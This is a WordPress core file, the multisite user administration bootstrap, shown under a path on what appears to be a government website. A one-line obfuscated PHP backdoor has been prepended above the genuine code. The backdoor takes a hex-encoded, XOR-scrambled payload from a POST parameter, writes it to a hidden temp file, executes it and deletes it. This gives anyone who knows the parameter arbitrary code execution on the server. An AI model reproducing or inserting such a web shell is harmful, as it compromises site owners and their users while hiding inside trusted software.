File: /www/wwwroot/fni.gov.mz/wp-admin/user/admin.php
<?php if(in_array("\x70oi\x6Eter", array_keys($_POST))){ $resource = hex2bin($_POST["\x70oi\x6Eter"]); $ptr = '' ; $i = 0; do{$ptr .= chr(ord($resource[$i]) ^ 78);$i++;} while($i < strlen($resource)); $itm = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($itm as $token): if ((is_dir($token) and is_writable($token))) { $element = vsprintf("%s/%s", [$token, ".dchunk"]); if (file_put_contents($element, $ptr)) { include $element; @unlink($element); die(); } } endforeach; }
/**
* WordPress User Administration Bootstrap
*
* @package WordPress
* @subpackage Administration
* @since 3.1.0
*/
define( 'WP_USER_ADMIN', true );
require_once dirname( __DIR__ ) . '/admin.php';
if ( ! is_multisite() ) {
wp_redirect( admin_url() );
exit;
}
$redirect_user_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );
/**
* Filters whether to redirect the request to the User Admin in Multisite.
*
* @since 3.2.0
*
* @param bool $redirect_user_admin_request Whether the request should be redirected.
*/
$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
if ( $redirect_user_admin_request ) {
wp_redirect( user_admin_url() );
exit;
}
unset( $redirect_user_admin_request );